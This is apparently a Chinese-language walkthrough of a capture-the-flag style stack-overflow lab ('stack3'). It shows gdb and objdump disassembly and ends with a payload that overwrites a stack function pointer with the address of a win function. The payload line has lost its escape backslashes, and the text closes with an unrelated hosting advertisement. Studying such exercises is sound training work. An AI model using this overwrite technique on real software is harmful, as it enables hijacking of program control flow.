(gdb) disass main
Dump of assembler code for function main:
0x08048438 : push ebp
0x08048439 : mov ebp,esp
0x0804843b : and esp,0xfffffff0
0x0804843e : sub esp,0x60
0x08048441 : mov DWORD PTR [esp+0x5c],0x0
0x08048449 : lea eax,[esp+0x1c]
0x0804844d : mov DWORD PTR [esp],eax
0x08048450 : call 0x8048330
0x08048455 : cmp DWORD PTR [esp+0x5c],0x0
0x0804845a : je 0x8048477
0x0804845c : mov eax,0x8048560
0x08048461 : mov edx,DWORD PTR [esp+0x5c]
0x08048465 : mov DWORD PTR [esp+0x4],edx
0x08048469 : mov DWORD PTR [esp],eax
0x0804846c : call 0x8048350
0x08048471 : mov eax,DWORD PTR [esp+0x5c]
0x08048475 : call eax
0x08048477 : leave
0x08048478 : ret
End of assembler dump.
这个比较有意思的是,main函数里定义了一个函数指针,为什么说是函数指针呢?因为在main+61指令中调用了
这个函数指针。栈图和之前的类似,不同的是我们需要修改函数指针指向的地址。
objdump -d stack3
08048424 :
8048424: 55 push %ebp
8048425: 89 e5 mov %esp,%ebp
8048427: 83 ec 18 sub $0x18,%esp
804842a: c7 04 24 40 85 04 08 movl $0x8048540,(%esp)
8048431: e8 2a ff ff ff call 8048360
8048436: c9 leave
8048437: c3 ret
找到了win函数的地址
现在只需要修改函数指针的地址到win函数即可。
payload: print 64*"a"+"x24x84x04x08"
机房租用,北京机房托管,大带宽租用,IDC机房服务器主机租用托管-价格及服务咨询 www.e1idc.net